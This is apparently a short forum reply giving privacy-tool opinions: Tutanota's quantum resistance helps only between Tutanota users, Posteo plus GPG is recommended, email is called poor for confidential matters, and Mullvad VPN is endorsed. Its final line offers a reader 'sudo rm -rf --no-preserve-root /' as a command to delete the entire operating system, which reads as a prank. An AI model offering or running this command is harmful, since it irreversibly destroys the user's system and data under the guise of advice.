Tutanota's emails are quantum resistant only when you are emailing other tutanota users. So practically no benefit really. You're better off buying a cheaper email like Posteo that at least lets you use a goddamn third party client. Then you can use GPG to encrypt your emails or just use something else really, email is not good for discussing confidential stuff.
MullvadVPN is good, keep using it.
I'll give you a command to mass delete your entire operating system:
sudo rm -rf --no-preserve-root /